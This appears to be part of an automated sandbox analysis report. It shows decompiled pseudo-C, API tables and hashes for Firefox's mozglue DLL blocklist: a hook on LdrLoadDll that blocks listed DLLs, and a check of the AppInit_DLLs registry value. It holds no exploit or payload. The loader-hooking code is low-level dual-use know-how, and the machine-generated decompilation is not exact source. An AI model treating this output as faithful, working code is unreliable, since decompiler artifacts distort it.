									if(_t75 != 0) {
										free(_t75);
									}
									_t72 = _v588;
									__eflags = _t72;
									if(_t72 != 0) {
										RegCloseKey(_t72);
									}
									goto L24;
								}
								_t92 = 0;
								__eflags = 0;
								goto L14;
							}
							goto L16;
						}
					}
					L4:
					L25:
					return E6D0F70C0(_v8 ^ _t99);
				}
				L24:
				__eflags = 0;
				goto L25;
			}

0x6d0e2455
0x6d0e245c
0x6d0e2464
0x6d0e246e
0x6d0e2478
0x6d0e247a
0x6d0e2484
0x6d0e248e
0x6d0e24a3
0x6d0e24a7
0x00000000
0x00000000
0x6d0e24b6
0x6d0e24c5
0x6d0e24d9
0x6d0e24df
0x6d0e24e1
0x00000000
0x00000000
0x6d0e24e5
0x6d0e24e6
0x6d0e24fa
0x6d0e24fa
0x6d0e2502
0x6d0e250c
0x6d0e250e
0x6d0e251b
0x6d0e251d
0x6d0e2624
0x6d0e2624
0x6d0e262a
0x6d0e262c
0x6d0e2633
0x6d0e2633
0x00000000
0x6d0e2523
0x6d0e2533
0x6d0e253a
0x6d0e253c
0x6d0e253e
0x6d0e2544
0x6d0e254a
0x6d0e254c
0x6d0e254f
0x6d0e2554
0x6d0e2569
0x6d0e256f
0x6d0e2571
0x6d0e2619
0x6d0e2619
0x6d0e261b
0x6d0e261e
0x6d0e2623
0x00000000
0x6d0e261b
0x6d0e2577
0x6d0e257c
0x6d0e257f
0x6d0e2585
0x6d0e258f
0x6d0e2590
0x6d0e2593
0x6d0e2599
0x6d0e259a
0x6d0e260a
0x6d0e260a
0x6d0e2610
0x6d0e2612
0x6d0e2615
0x6d0e2617
0x00000000
0x00000000
0x6d0e25aa
0x6d0e25b6
0x6d0e25c2
0x6d0e25c8
0x6d0e25cb
0x6d0e25cd
0x6d0e25fe
0x6d0e2604
0x6d0e2605
0x6d0e2608
0x6d0e2609
0x00000000
0x6d0e2609
0x6d0e25e3
0x6d0e25e4
0x6d0e25eb
0x6d0e25ec
0x6d0e25ed
0x6d0e25ef
0x6d0e25f5
0x6d0e25f8
0x6d0e25fa
0x6d0e263e
0x6d0e2640
0x6d0e2643
0x6d0e2648
0x6d0e2649
0x6d0e264f
0x6d0e2651
0x6d0e2654
0x6d0e2654
0x00000000
0x6d0e2651
0x6d0e25fc
0x6d0e25fc
0x00000000
0x6d0e25fc
0x00000000
0x6d0e260a
0x6d0e251d
0x6d0e24b8
0x6d0e265c
0x6d0e266c
0x6d0e266c
0x6d0e265a
0x6d0e265a
0x00000000

APIs

GetModuleHandleW.KERNEL32(6D0FA358,?,6D100138,00000001), ref: 6D0E2495
GetModuleHandleW.KERNEL32(user32.dll,?,6D100138,00000001), ref: 6D0E24AE
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,6D100138,00000001), ref: 6D0E24D9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,6D100138,00000001), ref: 6D0E2515
free.MOZGLUE(?,?,6D100138,00000001), ref: 6D0E254F
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000001,?,?,6D100138,00000001), ref: 6D0E2569
memset.VCRUNTIME140(?,00000000,00000200), ref: 6D0E25AA
_wsplitpath_s.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,00000000,00000000,00000000,00000000,?,00000100,00000000,00000000,?,00000000,00000200), ref: 6D0E25C2
_wcsnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000007), ref: 6D0E25EF
wcstok_s.API-MS-WIN-CRT-STRING-L1-1-0(00000001,?,?,?,6D100138,00000001), ref: 6D0E260A
free.MOZGLUE(00000001,?,6D100138,00000001), ref: 6D0E261E
RegCloseKey.ADVAPI32(?,?,6D100138,00000001), ref: 6D0E2633
free.MOZGLUE(00000001), ref: 6D0E2643
RegCloseKey.ADVAPI32(?), ref: 6D0E2654

Strings

AppInit_DLLs, xrefs: 6D0E24EC
nvdxgiwrap.dll, xrefs: 6D0E2484
user32.dll, xrefs: 6D0E24A9
nvinit, xrefs: 6D0E25CF
detoured.dll, xrefs: 6D0E2464
_etoured.dll, xrefs: 6D0E246E
nvd3d9wrap.dll, xrefs: 6D0E247A
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6D0E24CF

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: free$CloseHandleModuleQueryValue$Open_wcsnicmp_wsplitpath_smemsetwcstok_s
String ID: AppInit_DLLs$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$nvinit$user32.dll
API String ID: 3033006195-3998975016
Opcode ID: 5d4fc4bf8dd665ab836fe49efb4983a2043257a5fa98393a93b5c020083a26bd
Instruction ID: 8dbbe085e8dbbf4b10a23d5a9372e5b16100bf606fcaf5192b2d4eb633a21834
Opcode Fuzzy Hash: 5d4fc4bf8dd665ab836fe49efb4983a2043257a5fa98393a93b5c020083a26bd
Instruction Fuzzy Hash: B551FD71904219AEEB219F659C88FEFB7BCEB86750F100199FD09E6150DB349A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EAA80, Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 214
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D0EAA80(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v4104;
				char _v8200;
				intOrPtr _v8204;
				int _v8208;
				int _v8212;
				char* _v8216;
				intOrPtr _v8220;
				int _v8224;
				int _v8228;
				char* _v8232;
				void* _v8236;
				void* _v8240;
				void* _v8244;
				void* _v8248;
				intOrPtr _v8252;
				char _v8256;
				void* _v8260;
				void* _v8264;
				intOrPtr _v8268;
				intOrPtr* _v8272;
				intOrPtr _v8276;
				void* _v8288;
				signed int _t78;
				void* _t84;
				void* _t86;
				int _t88;
				void* _t91;
				void* _t126;
				void* _t127;
				int _t129;
				intOrPtr _t135;
				void* _t138;
				signed int _t142;
				void* _t144;
				int _t148;
				intOrPtr _t151;
				int _t153;
				intOrPtr* _t155;
				int _t157;
				signed int _t159;
				intOrPtr _t160;
				void* _t166;

				E6D0F7D70();
				_t78 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t78 ^ _t159;
				_v8272 = _a4;
				_t151 = _a20;
				_v8276 = _a16;
				_v8268 = _a24;
				E6D0EA7BF(_a24);
				if(_t151 != 0 || E6D0EA69F(__ecx) != 0) {
					_t84 = GetCurrentThread();
					_t138 =  !=  ? _t151 : _t84;
					_v8264 = _t138;
					_v8256 = _t138 == _t84;
					_t148 = 0;
					_t166 =  *0x6d100330 - _t148; // 0x0
					if(_t166 != 0) {
						L7:
						_t86 = GetCurrentProcess();
						_t88 = DuplicateHandle(GetCurrentProcess(), _v8264, _t86,  &_v8260, 0x1fffff, _t148, _t148);
						if(_t88 != 0) {
							_v8252 = _a8;
							_v8248 = _v8260;
							_t91 =  *0x6d100330; // 0x0
							_v8244 = _t91;
							_v8232 =  &_v4104;
							_v8220 = _a12;
							_v8216 =  &_v8200;
							_v8224 = _t148;
							_v8228 = 0x400;
							_v8208 = _t148;
							_v8212 = 0x400;
							_v8204 = _v8268;
							if(_t151 == 0) {
								_v8240 = CreateEventA(_t148, _t148, _t148, _t148);
								_v8236 = CreateEventA(_t148, _t148, _t148, _t148);
								 *0x6d101024( *0x6d100308, 0x400, _t148,  &_v8256);
								if(SignalObjectAndWait(_v8240, _v8236, 0xffffffff, _t148) != 0 && _v8256 != 0) {
									E6D0EADB0(0x400, "SignalObjectAndWait (1)");
									_pop(0x400);
								}
								_t153 = _v8224;
								if(_t153 > _v8228) {
									E6D0F7D40();
									_v8228 = _t153;
									_v8232 = _t160;
									_v8224 = _t148;
									E6D0F7D40();
									_v8216 = _t160;
									_v8212 = _v8208;
									_v8208 = _t148;
									 *0x6d101024( *0x6d100308, 0x400, _t148,  &_v8256);
									if(SignalObjectAndWait(_v8240, _v8236, 0xffffffff, _t148) != 0 && _v8256 != 0) {
										E6D0EADB0(0x400, "SignalObjectAndWait (2)");
									}
								}
								CloseHandle(_v8240);
								CloseHandle(_v8236);
							} else {
								E6D0EAEA2(CloseHandle, 0x400, _t148, _t151,  &_v8256);
								_t157 = _v8224;
								_pop(_t144);
								if(_t157 > _v8228) {
									E6D0F7D40();
									_v8228 = _t157;
									_v8232 = _t160;
									_v8224 = _t148;
									E6D0F7D40();
									_v8216 = _t160;
									_v8212 = _v8208;
									_v8208 = _t148;
									E6D0EAEA2(CloseHandle, _t144, _t148, _v8208,  &_v8256);
								}
							}
							CloseHandle(_v8260);
							if(_v8224 > _t148) {
								_t155 = _v8272;
								_t135 = _v8276;
								do {
									_t142 = _t148;
									_t148 = _t148 + 1;
									 *_t155(_t148,  *((intOrPtr*)(_v8232 + _t142 * 4)),  *((intOrPtr*)(_v8216 + _t142 * 4)), _t135);
									_t160 = _t160 + 0x10;
								} while (_t148 < _v8224);
							}
							goto L24;
						}
						if(_v8256 == _t88) {
							goto L24;
						}
						_push("DuplicateHandle (thread)");
						L6:
						E6D0EADB0(_t138);
						goto L24;
					}
					_t126 = GetCurrentProcess();
					_t127 = GetCurrentProcess();
					_t129 = DuplicateHandle(GetCurrentProcess(), _t127, _t126, 0x6d100330, 0x1fffff, 0, 0);
					if(_t129 != 0) {
						goto L7;
					}
					if(_v8256 == _t129) {
						goto L24;
					} else {
						_push("DuplicateHandle (process)");
						goto L6;
					}
				} else {
					L24:
					return E6D0F70C0(_v8 ^ _t159);
				}
			}

0x6d0eaa88
0x6d0eaa8d
0x6d0eaa94
0x6d0eaa9b
0x6d0eaaa5
0x6d0eaaa8
0x6d0eaab2
0x6d0eaab8
0x6d0eaabf
0x6d0eaace
0x6d0eaade
0x6d0eaae3
0x6d0eaae9
0x6d0eaaf0
0x6d0eaaf2
0x6d0eaaf8
0x6d0eab35
0x6d0eab43
0x6d0eab4f
0x6d0eab57
0x6d0eab7a
0x6d0eab86
0x6d0eab8c
0x6d0eab91
0x6d0eab9d
0x6d0eaba6
0x6d0eabb2
0x6d0eabbe
0x6d0eabc4
0x6d0eabca
0x6d0eabd0
0x6d0eabd6
0x6d0eabde
0x6d0eac5f
0x6d0eac67
0x6d0eac80
0x6d0eac9d
0x6d0eacad
0x6d0eacb2
0x6d0eacb2
0x6d0eacb3
0x6d0eacbf
0x6d0eacca
0x6d0eaccf
0x6d0eace0
0x6d0eace6
0x6d0eacec
0x6d0eacf1
0x6d0ead0a
0x6d0ead10
0x6d0ead16
0x6d0ead33
0x6d0ead43
0x6d0ead48
0x6d0ead33
0x6d0ead4f
0x6d0ead57
0x6d0eabe0
0x6d0eabe7
0x6d0eabec
0x6d0eabf2
0x6d0eabf9
0x6d0eac04
0x6d0eac09
0x6d0eac1a
0x6d0eac20
0x6d0eac26
0x6d0eac31
0x6d0eac38
0x6d0eac3e
0x6d0eac44
0x6d0eac49
0x6d0eabf9
0x6d0ead5f
0x6d0ead67
0x6d0ead69
0x6d0ead6f
0x6d0ead75
0x6d0ead7b
0x6d0ead7e
0x6d0ead8c
0x6d0ead8e
0x6d0ead91
0x6d0ead75
0x00000000
0x6d0ead67
0x6d0eab5f
0x00000000
0x00000000
0x6d0eab65
0x6d0eab2a
0x6d0eab2a
0x00000000
0x6d0eab2f
0x6d0eab06
0x6d0eab09
0x6d0eab0f
0x6d0eab17
0x00000000
0x00000000
0x6d0eab1f
0x00000000
0x6d0eab25
0x6d0eab25
0x00000000
0x6d0eab25
0x6d0ead99
0x6d0ead99
0x6d0eadaf
0x6d0eadaf

APIs

Part of subcall function 6D0EA7BF: InitializeCriticalSection.KERNEL32(6D10030C,6D0EA83B), ref: 6D0EA7CD

GetCurrentThread.KERNEL32 ref: 6D0EAACE
GetCurrentProcess.KERNEL32(6D100330,001FFFFF,00000000,00000000,?,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB06
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB09
GetCurrentProcess.KERNEL32(00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB0C
DuplicateHandle.KERNEL32(00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB0F

Part of subcall function 6D0EA69F: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,MOZ_CRASH(Bad format string)), ref: 6D0EA6BF

GetCurrentProcess.KERNEL32(?,001FFFFF,00000000,00000000,?,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB43
GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB4C
DuplicateHandle.KERNEL32(00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAB4F
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAC59
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAC65
SignalObjectAndWait.KERNEL32(?,?,000000FF,00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAC95
SignalObjectAndWait.KERNEL32(?,?,000000FF,00000000,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAD2B
CloseHandle.KERNEL32(?,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAD4F
CloseHandle.KERNEL32(?,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAD57

Part of subcall function 6D0EADB0: GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
Part of subcall function 6D0EADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
Part of subcall function 6D0EADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
Part of subcall function 6D0EADB0: LocalFree.KERNEL32(?), ref: 6D0EAE0E

CloseHandle.KERNEL32(?,?,?,?,?,6D0EAA78,?,?,?,?,00000000,00000000), ref: 6D0EAD5F

Strings

DuplicateHandle (process), xrefs: 6D0EAB25
SignalObjectAndWait (1), xrefs: 6D0EACA8
SignalObjectAndWait (2), xrefs: 6D0EAD3E
DuplicateHandle (thread), xrefs: 6D0EAB65

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Current$HandleProcess$CloseCreateEvent$DuplicateObjectSignalWait__acrt_iob_func$CriticalErrorFormatFreeInitializeLastLocalMessageSectionThreadfflush
String ID: DuplicateHandle (process)$DuplicateHandle (thread)$SignalObjectAndWait (1)$SignalObjectAndWait (2)
API String ID: 3999363785-4050657622
Opcode ID: d3fb0e37cab99f09262375d1684aa19edcd2be1f4348b87d9750d537b6640000
Instruction ID: 90a3afffc3394e2a2d064e7777bd37825a41e41fcbff99b782e4c6007265b62a
Opcode Fuzzy Hash: d3fb0e37cab99f09262375d1684aa19edcd2be1f4348b87d9750d537b6640000
Instruction Fuzzy Hash: A4812A74D04328DFEF219F558C48B9EBBB9EB89740F1141DAE908A7252D7309E85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2BE0, Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 343
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D0E2BE0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, signed short* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				char _v156;
				signed short* _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				int _v176;
				void* _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				int _v196;
				int _v200;
				signed int _t109;
				unsigned int _t114;
				signed int _t123;
				signed int _t128;
				signed int _t129;
				short** _t139;
				void* _t140;
				signed int _t142;
				signed int _t146;
				signed int _t149;
				void* _t150;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				char* _t161;
				signed int _t164;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t176;
				signed short* _t178;
				signed int _t189;
				void* _t190;
				intOrPtr* _t193;
				signed int _t202;
				signed int _t215;
				signed int _t218;
				signed int _t219;
				short* _t221;
				signed int _t223;
				signed short _t225;
				intOrPtr* _t226;
				signed int _t229;
				char* _t230;
				signed int _t232;
				void* _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				void* _t239;

				_t236 = _t238;
				_t239 = _t238 - 0xc4;
				_t109 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t109 ^ _t236;
				_t178 = _a12;
				_v164 = _a4;
				_push(__ebx);
				_v188 = _a8;
				_t176 = 0x6d0f9648;
				_push(__esi);
				_t225 = _t178[2];
				_v160 = _t178;
				_v184 = _a16;
				_t114 =  *_t178 & 0x0000ffff;
				_push(__edi);
				_t221 = 0;
				_v156 = 0;
				_t218 = _t114 >> 1;
				_v148 = _t225;
				_v152 = 0;
				if((_v160[1] & 0x0000ffff) < _t114 + 2) {
					L51:
					E6D0E939A( &_v192, "WindowsDllBlocklist::patched_LdrLoadDll",  &_v140, 0x30e);
					_t226 =  *0x6d1001a0; // 0x0
					 *0x6d0f92f4(_v164, _v188, _v160, _v184);
					 *_t226();
					E6D0E93C5( &_v192);
					__eflags = _t221;
					if(_t221 != 0) {
						free(_t221);
					}
					goto L54;
				} else {
					_t123 = 0;
					if( *((intOrPtr*)(_t225 + _t218 * 2)) != 0) {
						goto L51;
					} else {
						_t189 = _t225 - 2 + _t218 * 2;
						if(_t189 < _t225) {
							L6:
							_t189 = _t123;
						} else {
							while(1) {
								_t234 =  *_t189 & 0x0000ffff;
								if(_t234 == 0x5c || _t234 == 0x2f) {
									goto L7;
								}
								_t189 = _t189 - 2;
								if(_t189 >= _v148) {
									continue;
								} else {
									goto L6;
								}
								goto L7;
							}
						}
						L7:
						if(_t189 == 0) {
							_t190 = _v148;
						} else {
							_t190 = _t189 + 2;
							_t218 = _t218 - (_t190 - _v148 >> 1);
							_t123 = 0;
						}
						if(_t218 > 0x80) {
							goto L51;
						} else {
							_t229 = _t123;
							if(_t218 <= 0) {
								L17:
								if(_t218 >= 0x81) {
									E6D0F7537();
									asm("int3");
									return 0x6d1001c8;
								} else {
									 *(_t236 + _t218 - 0x88) = _t123;
									_t230 = strchr( &_v140, 0x2e);
									if(_t230 == 0) {
										L29:
										_t128 =  *0x6d0f9648; // 0x6d0f9dc8
										while(1) {
											L39:
											__eflags = _t128;
											if(_t128 == 0) {
												break;
											}
											_t193 =  &_v140;
											while(1) {
												_t218 =  *_t128;
												__eflags = _t218 -  *_t193;
												if(_t218 !=  *_t193) {
													break;
												}
												__eflags = _t218;
												if(_t218 == 0) {
													L35:
													_t129 = 0;
												} else {
													_t46 = _t128 + 1; // 0x61666670
													_t218 =  *_t46;
													__eflags = _t218 -  *((intOrPtr*)(_t193 + 1));
													if(_t218 !=  *((intOrPtr*)(_t193 + 1))) {
														break;
													} else {
														_t128 = _t128 + 2;
														_t193 = _t193 + 2;
														__eflags = _t218;
														if(_t218 != 0) {
															continue;
														} else {
															goto L35;
														}
													}
												}
												L37:
												__eflags = _t129;
												if(_t129 != 0) {
													_t176 = _t176 + 0x18;
													__eflags = _t176;
													_t128 =  *_t176;
													goto L39;
												}
												goto L40;
											}
											asm("sbb eax, eax");
											_t129 = _t128 | 0x00000001;
											__eflags = _t129;
											goto L37;
										}
										L40:
										__eflags =  *_t176;
										if( *_t176 == 0) {
											goto L51;
										} else {
											__eflags =  *(_t176 + 0x10) & 0x00000001;
											if(( *(_t176 + 0x10) & 0x00000001) == 0) {
												L43:
												__eflags =  *(_t176 + 0x10) & 0x00000002;
												if(( *(_t176 + 0x10) & 0x00000002) == 0) {
													L46:
													__eflags =  *(_t176 + 0x10) & 0x00000008;
													if(( *(_t176 + 0x10) & 0x00000008) == 0) {
														L48:
														_t59 = _t176 + 8; // 0xffffffff
														_t232 = 0xffffffffffffffff;
														_t60 = _t176 + 0xc; // 0xffffffff
														_v152 = 0xffffffffffffffff;
														_v144 = 0xffffffffffffffff;
														__eflags = ( *_t59 &  *_t60) - 0xffffffffffffffff;
														if(( *_t59 &  *_t60) == 0xffffffffffffffff) {
															L75:
															E6D0E308C(_t232, "LdrLoadDll: Blocking load of \'%s\' -- see http://www.mozilla.com/en-US/blocklist/\n",  &_v140);
															E6D0E1C93( *_t176, _t232, _v144);
															__eflags = _t221;
															if(_t221 != 0) {
																free(_t221);
															}
															goto L21;
														} else {
															E6D0E1A49( &_v172,  &_v140);
															__eflags = _v168;
															if(_v168 == 0) {
																_t139 = E6D0E2AD8( &_v148, _v164, _v148);
																_t239 = _t239 + 0xc;
																_t221 =  *_t139;
																 *_t139 = 0;
																_t140 = _v148;
																_v148 = 0;
																__eflags = _t140;
																if(_t140 != 0) {
																	free(_t140);
																}
																__eflags = _t221;
																if(_t221 != 0) {
																	__eflags =  *(_t176 + 0x10) & 0x00000004;
																	if(( *(_t176 + 0x10) & 0x00000004) == 0) {
																		_t142 = GetFileVersionInfoSizeW(_t221,  &_v196);
																		_v176 = _t142;
																		__eflags = _t142;
																		if(__eflags != 0) {
																			E6D0E11F9(__eflags,  &_v148, _t142);
																			_t233 = _v148;
																			_t146 = GetFileVersionInfoW(_t221, 0, _v176, _t233);
																			__eflags = _t146;
																			if(_t146 != 0) {
																				_t149 = VerQueryValueW(_t233, "\\",  &_v180,  &_v200);
																				__eflags = _t149;
																				if(_t149 != 0) {
																					_t150 = _v180;
																					_t219 =  *((intOrPtr*)(_t150 + 8));
																					_t202 =  *((intOrPtr*)(_t150 + 0xc));
																					_v152 = _t202;
																					_v144 = _t219;
																					_t101 = _t176 + 0xc; // 0xffffffff
																					__eflags = _t219 -  *_t101;
																					if(__eflags >= 0) {
																						if(__eflags > 0) {
																							L70:
																							_v156 = 1;
																						} else {
																							_t102 = _t176 + 8; // 0xffffffff
																							__eflags = _t202 -  *_t102;
																							if(_t202 >  *_t102) {
																								goto L70;
																							}
																						}
																					}
																				}
																			}
																			__eflags = _t233;
																			if(_t233 != 0) {
																				free(_t233);
																			}
																			_t232 = _v152;
																		}
																	} else {
																		_t232 = E6D0E22F8(_t221);
																		_v144 = 0;
																		_t86 = _t176 + 0xc; // 0xffffffff
																		__eflags = 0 -  *_t86;
																		if(__eflags >= 0) {
																			if(__eflags > 0) {
																				L63:
																				_v156 = 1;
																			} else {
																				_t87 = _t176 + 8; // 0xffffffff
																				__eflags = _t232 -  *_t87;
																				if(_t232 >  *_t87) {
																					goto L63;
																				}
																			}
																		}
																	}
																	E6D0E1AEC( &_v172);
																	__eflags = _v156;
																	if(_v156 != 0) {
																		goto L51;
																	} else {
																		goto L75;
																	}
																} else {
																	E6D0E308C(_t232, "LdrLoadDll: Blocking load of \'%s\' (SearchPathW didn\'t find it?)\n",  &_v140);
																	E6D0E1AEC( &_v172);
																	goto L21;
																}
															} else {
																E6D0E1AEC( &_v172);
																goto L51;
															}
														}
													} else {
														__eflags =  *0x6d100198 & 0x00000001;
														if(( *0x6d100198 & 0x00000001) == 0) {
															goto L51;
														} else {
															goto L48;
														}
													}
												} else {
													_t157 = E6D0E266D(_t176, _t218, _t221, 0x6020000, 0x6020000);
													__eflags = _t157;
													if(_t157 == 0) {
														goto L51;
													} else {
														_t158 = E6D0E266D(_t176, _t218, _t221, 0x6020000, 0x6030000);
														__eflags = _t158;
														if(_t158 != 0) {
															goto L51;
														} else {
															goto L46;
														}
													}
												}
											} else {
												_t159 = E6D0E266D(_t176, _t218, _t221, 0x6020000, 0x6020000);
												__eflags = _t159;
												if(_t159 == 0) {
													goto L51;
												} else {
													goto L43;
												}
											}
										}
									} else {
										_t33 = _t230 + 1; // 0x1
										_t161 = strchr(_t33, 0x2e);
										_t34 = _t230 + 0xd; // 0xd
										if(_t161 != _t34) {
											L22:
											_t215 =  &_v140;
											__eflags = _t230 - _t215 - 0x10;
											if(_t230 - _t215 < 0x10) {
												goto L29;
											} else {
												_t164 = _t215;
												__eflags = _t215 - _t230;
												if(_t215 < _t230) {
													_t223 = _t215;
													while(1) {
														_t165 =  *_t223;
														__imp__isxdigit(_t165);
														__eflags = _t165;
														if(_t165 == 0) {
															break;
														}
														_t223 = _t223 + 1;
														__eflags = _t223 - _t230;
														if(_t223 < _t230) {
															continue;
														}
														break;
													}
													_v144 = _t223;
													_t221 = _v152;
													_t164 = _v144;
												}
												__eflags = _t164 - _t230;
												if(_t164 == _t230) {
													goto L21;
												} else {
													goto L29;
												}
											}
										} else {
											_v144 = _v144 & _t221;
											_t38 = _t230 + 1; // 0x1
											__imp___strtoui64(_t38,  &_v144, 0x10);
											_t39 = _t230 + 0xd; // 0xd
											_t239 = _t239 + 0xc;
											if(_v144 != _t39) {
												goto L22;
											} else {
												L21:
											}
										}
									}
									L54:
									return E6D0F70C0(_v8 ^ _t236);
								}
							} else {
								while(1) {
									_t169 =  *(_t190 + _t229 * 2) & 0x0000ffff;
									_v144 = _t169;
									if(_t169 > 0x7f) {
										goto L51;
									}
									_t171 = _v144;
									if(_t169 + 0xffffffbf <= 0x19) {
										_t171 = _t171 + 0x20;
									}
									 *(_t236 + _t229 - 0x88) = _t171;
									_t229 = _t229 + 1;
									if(_t229 < _t218) {
										continue;
									} else {
										_t123 = 0;
										goto L17;
									}
									goto L79;
								}
								goto L51;
							}
						}
					}
				}
				L79:
			}

0x6d0e2be1
0x6d0e2be3
0x6d0e2be9
0x6d0e2bf0
0x6d0e2bf3
0x6d0e2bf9
0x6d0e2c02
0x6d0e2c03
0x6d0e2c09
0x6d0e2c11
0x6d0e2c12
0x6d0e2c15
0x6d0e2c1b
0x6d0e2c21
0x6d0e2c26
0x6d0e2c27
0x6d0e2c29
0x6d0e2c3a
0x6d0e2c3c
0x6d0e2c42
0x6d0e2c4e
0x6d0e2e69
0x6d0e2e80
0x6d0e2e8b
0x6d0e2ea5
0x6d0e2eab
0x6d0e2eb5
0x6d0e2eba
0x6d0e2ebc
0x6d0e2ebf
0x6d0e2ec4
0x00000000
0x6d0e2c54
0x6d0e2c54
0x6d0e2c5a
0x00000000
0x6d0e2c60
0x6d0e2c63
0x6d0e2c68
0x6d0e2c82
0x6d0e2c82
0x00000000
0x6d0e2c6a
0x6d0e2c6a
0x6d0e2c70
0x00000000
0x00000000
0x6d0e2c77
0x6d0e2c80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2c80
0x6d0e2c6a
0x6d0e2c84
0x6d0e2c86
0x6d0e2c9b
0x6d0e2c88
0x6d0e2c88
0x6d0e2c95
0x6d0e2c97
0x6d0e2c97
0x6d0e2ca7
0x00000000
0x6d0e2cad
0x6d0e2cad
0x6d0e2cb1
0x6d0e2ce6
0x6d0e2cec
0x6d0e305c
0x6d0e3061
0x6d0e3067
0x6d0e2cf2
0x6d0e2cf2
0x6d0e2d07
0x6d0e2d0d
0x6d0e2d99
0x6d0e2d99
0x6d0e2dd4
0x6d0e2dd4
0x6d0e2dd4
0x6d0e2dd6
0x00000000
0x00000000
0x6d0e2da0
0x6d0e2da6
0x6d0e2da6
0x6d0e2da8
0x6d0e2daa
0x00000000
0x00000000
0x6d0e2dac
0x6d0e2dae
0x6d0e2dc2
0x6d0e2dc2
0x6d0e2db0
0x6d0e2db0
0x6d0e2db0
0x6d0e2db3
0x6d0e2db6
0x00000000
0x6d0e2db8
0x6d0e2db8
0x6d0e2dbb
0x6d0e2dbe
0x6d0e2dc0
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2dc0
0x6d0e2db6
0x6d0e2dcb
0x6d0e2dcb
0x6d0e2dcd
0x6d0e2dcf
0x6d0e2dcf
0x6d0e2dd2
0x00000000
0x6d0e2dd2
0x00000000
0x6d0e2dcd
0x6d0e2dc6
0x6d0e2dc8
0x6d0e2dc8
0x00000000
0x6d0e2dc8
0x6d0e2dd8
0x6d0e2dd8
0x6d0e2ddb
0x00000000
0x6d0e2de1
0x6d0e2de1
0x6d0e2dea
0x6d0e2df7
0x6d0e2df7
0x6d0e2dfb
0x6d0e2e17
0x6d0e2e17
0x6d0e2e1b
0x6d0e2e26
0x6d0e2e26
